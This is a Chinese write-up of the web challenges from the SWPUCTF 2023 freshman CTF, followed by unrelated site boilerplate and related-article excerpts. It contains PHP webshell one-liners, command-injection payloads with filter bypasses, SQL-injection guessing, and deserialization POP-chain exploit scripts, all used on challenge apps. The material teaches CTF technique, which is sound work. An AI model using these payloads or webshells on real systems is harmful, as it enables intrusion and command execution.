[SWPUCTF 2023 秋季新生赛] web题解

文章目录

    • colorful_snake
    • NSS_HTTP_CHEKER
    • 一键连接!
    • ez_talk
    • Pingpingping
    • UnS3rialize
    • 查查need
    • If_else
    • RCE-PLUS
    • backup


colorful_snake

打开题目,查看js源码
直接搜flag
在这里插入图片描述把那三行代码复制到控制器,得到flag

在这里插入图片描述

NSS_HTTP_CHEKER

都是http请求基本知识
抓包按照要求来,得到flag

在这里插入图片描述

一键连接!

源码

<?php
highlight_file(__FILE__);
error_reporting(0);
$md5_1 = $_GET['md5_1'];
$md5_2 = $_GET['md5_2'];
$sha1_1 = $_GET['sha1_1'];
$sha1_2 = $_GET['sha1_2'];
$new_player =$_GET['new_player'];
if ($md5_1 !== $md5_2 && md5($md5_1) === md5($md5_2)) {if ($sha1_1 != $sha1_2 && sha1($sha1_1) === sha1($sha1_2)) {if (file_get_contents($new_player) === "Welcome to NSSCTF!!!") {echo "Congratulations~~~~~~~~~";echo "试试need Antsword<br/>";@eval($_POST['Nss']);}else{echo "可曾听过data协议?";}} else {echo "sha1又如何相等呢";}
} else {echo "如何让md5值相等呢¿";
}

分析一下,MD5和sha1都可以用数组绕过,然后用php伪协议中的data协议
在这里插入图片描述
提示蚁剑连接
在这里插入图片描述
得到flag
在这里插入图片描述

ez_talk

打开题目,先试试普通一句话木马,发现被检测
尝试bp抓包修改MIME,还是不行
这里修改下一句话木马,添加一下文件头

GIF89a
<?php eval($_POST['shell']);?>

成功上传
在这里插入图片描述
得到flag
在这里插入图片描述

Pingpingping

源码

<?php
highlight_file(__FILE__);
error_reporting(0);
$_ping = $_GET['Ping_ip.exe'];
if(isset($_ping)){system("ping -c 3 ".$_ping);
}else{$data = base64_encode(file_get_contents("error.png"));echo "<img src='data:image/png;base64,$data'/>";
}

分析一下,首先是参数名利用php解析特性;然后就是简单的ping命令加命令执行

?Ping[ip.exe=127.0.0.1;cat /flag

得到flag
在这里插入图片描述

UnS3rialize

考点: __wakeup绕过之fast-destruct

源码

 <?php
highlight_file(__FILE__);
error_reporting(0);
class NSS
{public $cmd;function __invoke(){echo "Congratulations!!!You have learned to construct a POP chain<br/>";system($this->cmd);}function __wakeup(){echo "W4keup!!!<br/>";$this->cmd = "echo Welcome to NSSCTF";}
}class C
{public $whoami;function __get($argv){echo "what do you want?";$want = $this->whoami;return $want();}
}class T
{public $sth;function __toString(){echo "Now you know how to use __toString<br/>There is more than one way to trigger";return $this->sth->var;}
}class F
{public $user = "nss";public $passwd = "ctf";public $notes;function __construct($user, $passwd){$this->user = $user;$this->passwd = $passwd;}function __destruct(){if ($this->user === "SWPU" && $this->passwd === "NSS") {echo "Now you know how to use __construct<br/>";echo "your notes".$this->notes;}else{die("N0!");}}
}if (isset($_GET['ser'])) {$ser = unserialize(base64_decode($_GET['ser']));
} else {echo "Let's do some deserialization :)";
}
Let's do some deserialization :)

分析一下

  1. 从后往前推,出口是NSS.__invoke()的命令执行
  2. 调用此方法往前推到C.__get()
  3. 然后就是访问不存在属性,往前推到T.__toString()
  4. 再往前推到F.__destruct()
  5. pop链梳理完再看看wakeup的绕过,用的fast-destruct,直接在序列化完的数据后去掉一个花括号(其本质上就是利用GC回收机制),然后再编码

pop链

F.__destruct() --> T.__toString() --> C.__get() --> NSS.__invoke()

exp

<?php
highlight_file(__FILE__);
class NSS
{public $cmd='cat /flag';
} 
class T
{public $sth;
}class C
{public $whoami;
} 
class F
{public $user = "nss";public $passwd = "ctf";public $notes;
}$a=new F();
$b=new T();
$c=new C();
$d=new NSS();
$a->user='SWPU';
$a->passwd='NSS';
$a->notes=$b;
$b->sth=$c;
$c->whoami=$d;
$remove=substr(serialize($a), 0, -1); //去掉最后一个花括号
echo base64_encode($remove);

得到flag
在这里插入图片描述

查查need

考点:sql注入万能密码,bp爆破攻击

打开题目,发现给了excel表格用来查询成绩
F12看到提示用万能密码
在这里插入图片描述目前为止,还不知道注入的位置
我们可以bp抓包,依次再三个参数fuzz测试(在页面处输入不了",所以用抓包的方式来回显)
发现在学号处存在注入点,且闭合方式为双引号
在这里插入图片描述
结合学生表和万能密码
随便输入一个学生名字,发现有回显
在这里插入图片描述尝试用联合查询,发现走不通
考虑到学生表,猜测flag应该藏在某位同学的成绩那
把表中学生名字全部复制到txt里,然后添加该payload(bp上显示乱码不管它)
爆破得到flag
在这里插入图片描述

If_else

源码

 <?php$a=false;$b=false;if(你提交的部分将会被写至这里){$a=true;}else{$b=true;}if($a===true&&$b===true)eval(system(cat /flag));
?> 

自己写代码进去,先闭合前面,然后命令执行,在最后面加注释符
payload

?check=1==1) echo `cat /f*`;/*

不难发现黄色部分都被注释掉了,因此命令执行得到flag
在这里插入图片描述

RCE-PLUS

考点:无回显RCE

源码

 <?php
error_reporting(0);
highlight_file(__FILE__);
function strCheck($cmd)
{if(!preg_match("/\;|\&|\\$|\x09|\x26|more|less|head|sort|tail|sed|cut|awk|strings|od|php|ping|flag/i", $cmd)){return($cmd);}else{die("i hate this");      }
}
$cmd=$_GET['cmd'];
strCheck($cmd);
shell_exec($cmd);
?>

shell_exec()函数哪怕执行了命令也是没有回显的
我们输入下面命令测试下

?cmd=ls / | sleep 5

我们会发现执行了,但是并没有回显
这里可以利用tee命令把执行的结果打印下来
payload

?cmd=ls / | tee 1.txt

或者是重定向

?cmd=ls / > 1.txt

然后访问./1.txt
在这里插入图片描述
然后反斜杠绕过一下关键字

?cmd=ca\t /fl\ag | tee 2.txt

得到flag

backup

考点:源码泄露,变量引用绕过__wakeup,php变量覆盖

提示说给了备份文件,直接御剑扫一下
在这里插入图片描述发现有www.zip,访问下载下来
源码

<?php
error_reporting(0);
require_once("flag.php");class popmart{public $yuki;public $molly;public $dimoo;public function __construct(){$this->yuki='tell me where';$this->molly='dont_tell_you';$this->dimoo="you_can_guess";}public function __wakeup(){global $flag;global $where_you_go;$this->yuki=$where_you_go;if($this->molly === $this->yuki){echo $flag;}}
}$pucky = $_GET['wq'];
if(isset($pucky)){if($pucky==="二仙桥"){  extract($_POST);if($pucky==="二仙桥"){    die("<script>window.alert('说说看,你要去哪??');</script>");}unserialize($pucky);}
}

反序列化非常简单,if语句要求$this->molly === $this->yuki强等于,但是__wakeup方法会赋值,所以采取引用绕过的方式,exp如下

<?php
class popmart{public $yuki;public $molly;public $dimoo;
}$a=new popmart();
$a->molly=&$a->yuki;
echo serialize($a);

然后就是上传的时候有两个if语句,第一个成立,第二个不成立。由于GET和POST传同一个参数没有先后顺序,所以不能用下面的方式去实现变量覆盖

GET:?wq=二仙桥
POST:wq=O:7:"popmart":3:{s:4:"yuki";N;s:5:"molly";R:2;s:5:"dimoo";N;}

我们可以修改下POST参数为pucky即可
得到flag
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/115766.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

如何保养维护实验室超声波清洗机

实验室是用于各个行业产品的研发以及检验的场所&#xff0c;所以对其中所使用的各种物品都有着极高的要求&#xff0c;因此只有品类齐全的实验室超声波清洗机能够满足实验室对于清洁以及其他方面的一些需求&#xff0c;但是要想实验室超声波清洗机设备的性能能够始终如一&#…

驱动开发day4

通过字符设备驱动的分步实现编写LED驱动&#xff0c;另外实现设备文件和驱动的绑定 head.h #ifndef __HEAD_H__ #define __HEAD_H__ typedef struct {unsigned int MODER;unsigned int OTYPER;unsigned int OSPEEDR;unsigned int PUPDR;unsigned int IDR;unsigned int ODR; }…

RHCE---Shell基础 2

文章目录 目录 文章目录 前言 一.变量 概述 定义 自定义变量 环境变量 概述&#xff1a; 定义环境变量&#xff1a; 位置变量 "$*"会把所有位置参数当成一个整体&#xff08;或者说当成一个单词 变量的赋值和作用域 read 命令 变量和引号 变量的作用域 变…

【茫茫架构路】1. Class File字节码文件解析

本文所有内容的JDK版本为 OpenJDK 11 JDK11 Class File官方说明。 Java解析字节码文件源码参考&#xff0c;以下为部分字节码解析源码展示。 public ClassFile(DataInputStream in) {try {//magic: 0xCAFEBABEthis.magic ClassReader.readInt(in);System.out.println("m…

高等数学啃书汇总重难点(五)定积分

最近都在忙着刷题&#xff0c;尤其是政治和英语也开始加量复习了&#xff0c;该系列断更了将近2个月~不过最近在刷题的时候又遇到一些瓶颈&#xff0c;因此回归基础来整理一下知史点~ 总的来说&#xff0c;虽然第五章也是重中之重&#xff0c;定理数量也很多&#xff0c;但&…

C语言每日一题(17)老人的数目

力扣 2678 老人的数目 给你一个下标从 0 开始的字符串 details 。details 中每个元素都是一位乘客的信息&#xff0c;信息用长度为 15 的字符串表示&#xff0c;表示方式如下&#xff1a; 前十个字符是乘客的手机号码。接下来的一个字符是乘客的性别。接下来两个字符是乘客的…

JMeter添加插件

一、前言 ​ 在我们的工作中&#xff0c;我们可以利用一些插件来帮助我们更好的进行性能测试。今天我们来介绍下Jmeter怎么添加插件&#xff1f; 二、插件管理器 ​ 首先我们需要下载插件管理器jar包 下载地址&#xff1a;Install :: JMeter-Plugins.org 然后我们将下载下来…

MYSQL(事务+锁+MVCC+SQL执行流程)理解

一)事务的特性: 一致性:主要是在数据层面来说&#xff0c;不能说执行扣减库存的操作的时候用户订单数据却没有生成 原子性:主要是在操作层面来说&#xff0c;要么操作完成&#xff0c;要么操作全部回滚&#xff1b; 隔离性:是自己的事务操作自己的数据&#xff0c;不会受到到其…

Centos 7 Zabbix配置安装

前言 Zabbix是一款开源的网络监控和管理软件&#xff0c;具有高度的可扩展性和灵活性。它可以监控各种网络设备、服务器、虚拟机以及应用程序等&#xff0c;收集并分析性能指标&#xff0c;并发送警报和报告。Zabbix具有以下特点&#xff1a; 1. 支持多种监控方式&#xff1a;可…

向量检索库Milvus架构及数据处理流程

文章目录 背景milvus想做的事milvus之前——向量检索的一些基础近似算法欧式距离余弦距离 常见向量索引1&#xff09; FLAT2&#xff09; Hash based3&#xff09; Tree based4&#xff09; 基于聚类的倒排5&#xff09; NSW&#xff08;Navigable Small World&#xff09;图 向…

mysql—面试50题—1

注&#xff1a;面试50题将分为5个部分&#xff0c;每部分10题 一、查询数据 学生表 Student create table Student(SId varchar(10),Sname varchar(10),Sage datetime,Ssex varchar(10)); insert into Student values(01 , 赵雷 , 1990-01-01 , 男); insert into Student …

微信小程序之会议OA首页数据交互,会议状态,会议人数转换,会议室交互,WXS的使用

前言&#xff1a; 本篇博客使用结合了SpringMVC&#xff0c;mybatis&#xff0c;maven&#xff0c;小程序&#xff0c;如果不熟悉使用可以翻看我之前的博客&#xff0c;以便大家可以更好的学习&#xff01;&#xff01;&#xff01; 一&#xff0c;会议OA首页数据的后台交互 这…

【SwiftUI模块】0060、SwiftUI基于Firebase搭建一个类似InstagramApp 2/7部分-搭建TabBar

SwiftUI模块系列 - 已更新60篇 SwiftUI项目 - 已更新5个项目 往期Demo源码下载 技术:SwiftUI、SwiftUI4.0、Instagram、Firebase 运行环境: SwiftUI4.0 Xcode14 MacOS12.6 iPhone Simulator iPhone 14 Pro Max SwiftUI基于Firebase搭建一个类似InstagramApp 2/7部分-搭建Tab…

机器学习笔记 - 特斯拉的占用网络简述

一、简述 ​ 2022 年,特斯拉宣布即将在其车辆中发布全新算法。该算法被称为occupancy networks,它应该是对Tesla 的HydraNet 的改进。 自动驾驶汽车行业在技术上分为两类:基于视觉的系统和基于激光雷达的系统。后者使用激光传感器来确定物体的存在和距离,而视觉系统…

算法通关村第十一关青铜挑战——移位运算详解

大家好&#xff0c;我是怒码少年小码。 计算机到底是怎么处理数字的&#xff1f; 数字在计算机中的表示 机器数 一个数在计算机中的二进制表示形式&#xff0c;叫做这个数的机器数。 机器数是带符号的&#xff0c;在计算机用一个数的最高位存放符号&#xff0c;正数为0&am…

【Java集合类面试八】、 介绍一下HashMap底层的实现原理

文章底部有个人公众号&#xff1a;热爱技术的小郑。主要分享开发知识、学习资料、毕业设计指导等。有兴趣的可以关注一下。为何分享&#xff1f; 踩过的坑没必要让别人在再踩&#xff0c;自己复盘也能加深记忆。利己利人、所谓双赢。 面试官&#xff1a; 介绍一下HashMap底层的…

数据安全与PostgreSQL:最佳保护策略

在当今数字化时代&#xff0c;数据安全成为了企业不可或缺的一环。特别是对于使用数据库管理系统&#xff08;DBMS&#xff09;的组织来说&#xff0c;确保数据的完整性、保密性和可用性至关重要。在众多DBMS中&#xff0c;PostgreSQL作为一个强大而灵活的开源数据库系统&#…

MySQL中的表操作,配置文件,储存引擎,数据类型

MySQL中的表操作 1 查库&#xff08;已密码登陆mysql&#xff09; show databases; 2 添加库 create database t1; 3 表操作 1选定操作库 use t1 2在库里添加表格式 create table t1(id int, name varchar(32), gender varchar(32),age int); 3往表里添加具体元素 insert…

智慧燃气巡检管理系统

我们知道燃气设施的巡检、巡查是运维工作中一项重要的基础工作&#xff0c;而巡检人员主要靠手动记录&#xff0c;回到公司后还得再进行录入归档、导入照片&#xff0c;然后打印装订等&#xff0c;涉及工作量也是不小的&#xff1b;还有人员更替&#xff0c;易造成人员对燃气设…